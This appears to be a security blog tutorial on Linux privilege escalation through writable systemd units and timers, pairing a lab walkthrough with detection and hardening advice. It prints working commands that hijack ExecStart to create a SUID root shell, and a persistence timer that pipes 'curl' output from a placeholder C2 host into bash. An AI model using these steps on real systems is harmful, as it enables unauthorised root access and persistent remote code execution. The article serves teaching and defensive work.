Abusing systemd Services and Timers for Linux Privilege Escalation

Linux Privesc
Time it takes to read this article 6 minutes.

Disclaimer: This article is written for educational purposes and for authorized penetration testing only. Run these techniques exclusively against systems you own or have explicit, written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.

Introduction / Overview

systemd is the init system (PID 1) on nearly every modern Linux distribution — Ubuntu, Debian, RHEL, Fedora, Arch, and most of their derivatives. Because PID 1 runs as root and is responsible for launching services, anything that can influence what systemd executes is a direct path to root.

In this article you will learn how a low-privileged foothold becomes a root shell by abusing three closely related misconfigurations:

  • Writable .service unit files that let you control ExecStart.
  • systemctl permissions (via sudo or polkit) that let you start or restart units you can modify.
  • systemd timers (.timer units) — the modern cron replacement — which schedule the same kind of execution and are frequently overlooked.

These map to MITRE ATT&CK techniques T1543.002 (Create or Modify System Process: Systemd Service) and T1053.006 (Scheduled Task/Job: Systemd Timers).

How it works / Background

A systemd service is described by a unit file, typically in one of three directories (highest precedence first):

/etc/systemd/system/        # admin-defined units (highest priority)
/run/systemd/system/        # runtime-generated units
/usr/lib/systemd/system/    # distro/package-shipped units
Bash

The execution directive that matters most is ExecStart, which tells systemd the command to run when the unit starts. A minimal service looks like this:

[Unit]
Description=Example service

[Service]
Type=simple
ExecStart=/usr/local/bin/backup.sh
User=root

[Install]
WantedBy=multi-user.target
INI

If you can write to that unit file, or to the binary/script that ExecStart references, and you can get the unit (re)started as root, you control root-level code execution. There are also adjacent directives worth knowing: ExecStartPre, ExecStartPost, and ExecStopPost all run commands too, so hardening must cover all of them.

Timers work the same way. A .timer unit defines when something runs and points to a .service unit (by matching name, or via the Unit= directive) that defines what runs. Abusing a timer is therefore just service abuse with a scheduler attached.

Prerequisites / Lab setup

To follow along, spin up any systemd distro (e.g., Ubuntu 22.04) in a VM. Create a deliberately weak service to simulate a real-world misconfiguration:

# As root, create a service owned by root but world-writable (the bug)
cat <<'EOF' | sudo tee /etc/systemd/system/vulnsvc.service
[Unit]
Description=Vulnerable demo service
[Service]
Type=oneshot
ExecStart=/usr/local/bin/vulnsvc.sh
[Install]
WantedBy=multi-user.target
EOF

sudo touch /usr/local/bin/vulnsvc.sh
sudo chmod +x /usr/local/bin/vulnsvc.sh
sudo chmod 666 /etc/systemd/system/vulnsvc.service   # misconfiguration
sudo systemctl daemon-reload
Bash

Then drop to a normal user (su lowpriv) to act as the attacker.

Attack walkthrough / PoC

Step 1 — Enumerate writable units and timers

Start by finding unit files and timers you can write to, and any systemctl privileges you hold.

# Find writable .service and .timer unit files
find / \( -name '*.service' -o -name '*.timer' \) -writable 2>/dev/null

# Find ExecStart targets that are writable scripts/binaries
grep -rH 'ExecStart' /etc/systemd/system/ /usr/lib/systemd/system/ 2>/dev/null \
  | awk -F'=' '{print $2}' | awk '{print $1}' | sort -u

# Check for sudo rights over systemctl
sudo -l 2>/dev/null | grep -i systemctl

# List active timers and what they trigger
systemctl list-timers --all
Bash

Tools like linpeas.sh automate this and flag writable units in red. Manually, find ... -writable plus a sudo -l check covers the common cases.

Step 2 — Hijack ExecStart

With a writable unit file, overwrite ExecStart to grant yourself root. A clean, reliable payload is to make bash SUID:

cat > /etc/systemd/system/vulnsvc.service <<'EOF'
[Unit]
Description=Vulnerable demo service
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash'
[Install]
WantedBy=multi-user.target
EOF
Bash

Step 3 — Trigger execution

If you have sudo rights to systemctl, simply (re)start the unit:

sudo systemctl daemon-reload
sudo systemctl start vulnsvc.service
Bash

If you do not have systemctl rights, you wait for a natural trigger — a reboot, a dependent target, or, far more useful, a timer. If the host has (or you can influence) a .timer that calls a writable service, the timer fires the payload as root on schedule. You can confirm the next trigger with systemctl list-timers.

Step 4 — Cash in

ls -l /tmp/rootbash
# -rwsr-xr-x 1 root root ... /tmp/rootbash
/tmp/rootbash -p
# bash-5.1# id
# uid=1000(lowpriv) euid=0(root) gid=1000 ...
Bash

bash -p preserves the elevated effective UID, giving you a root shell.

Bonus — User-level timer abuse for persistence

Even without root, an attacker can install a user timer that survives logout via lingering, useful for persistence after an initial compromise:

mkdir -p ~/.config/systemd/user
cat > ~/.config/systemd/user/beacon.service <<'EOF'
[Service]
ExecStart=/bin/bash -c 'curl -s https://c2.example/x | bash'
EOF
cat > ~/.config/systemd/user/beacon.timer <<'EOF'
[Timer]
OnBootSec=2min
OnUnitActiveSec=10min
[Install]
WantedBy=timers.target
EOF
systemctl --user enable --now beacon.timer
loginctl enable-linger "$USER"   # keeps it running after logout
Bash

This pairs naturally with other Linux persistence tradecraft — see Linux Persistence Techniques and the broader Linux Privilege Escalation Checklist.

Attack flow diagram

Abusing systemd Services and Timers for Linux Privilege Escalation diagram 1

The diagram shows the path from foothold to enumeration, ExecStart hijack, root-level trigger via systemctl or timer, and finally a root shell through a dropped SUID binary.

Detection & Defense (Blue Team)

Defending against systemd abuse comes down to permissions, integrity monitoring, and least privilege. Treat this section with the same weight as the offense.

1. Audit unit-file permissions. Unit files must be owned by root and never group/world-writable. Hunt for violations:

find /etc/systemd/system /usr/lib/systemd/system /run/systemd/system \
  \( -name '*.service' -o -name '*.timer' \) \
  \( -perm -o+w -o ! -user root \) -ls 2>/dev/null
Bash

Also verify the integrity of every ExecStart target — a unit can be perfectly locked down while pointing at a world-writable script.

2. Lock down systemctl via sudo and polkit. Avoid blanket NOPASSWD: /bin/systemctl rules in /etc/sudoers; they let any allowed user start an arbitrary modified unit. Scope sudo rules to specific, named units and verb (systemctl restart nginx), and review polkit rules under /etc/polkit-1/.

3. File integrity monitoring (FIM). Deploy AIDE, Tripwire, or auditd watches on the unit directories so any change is logged and alerted:

# auditd: alert on writes to the primary unit directory
auditctl -w /etc/systemd/system/ -p wa -k systemd_units
auditctl -w /usr/lib/systemd/system/ -p wa -k systemd_units
ausearch -k systemd_units
Bash

4. Detect runtime activity. Watch the journal for unexpected daemon-reload, ad-hoc unit starts, and newly enabled timers:

journalctl -u systemd --grep 'Reloading|Started|Reexecut' --since '-1h'
systemctl list-timers --all          # baseline and diff regularly
systemctl list-unit-files --state=enabled
Bash

Unexpected entries in ~/.config/systemd/user/ combined with loginctl enable-linger are strong indicators of user-level persistence (T1053.006).

5. Harden the units themselves. For services you legitimately run, apply sandboxing directives — ProtectSystem=strict, ReadOnlyPaths=, NoNewPrivileges=true, and a non-root User= — so that even a compromised service cannot trivially reach root or write system paths. Run systemd-analyze security <unit> to score each unit's exposure.

Conclusion

systemd centralizes privileged execution, which makes it a high-value target. The core lesson is simple: any writable .service/.timer, any writable ExecStart target, and any over-broad systemctl grant collapses the boundary between an unprivileged user and root. For attackers, enumeration with find -writable and sudo -l plus a SUID-bash payload is fast and reliable. For defenders, strict file ownership, scoped sudo/polkit rules, FIM on unit directories, and systemd-analyze security hardening close the gap. Audit your units before someone else does.

References

Comments

Copied title and URL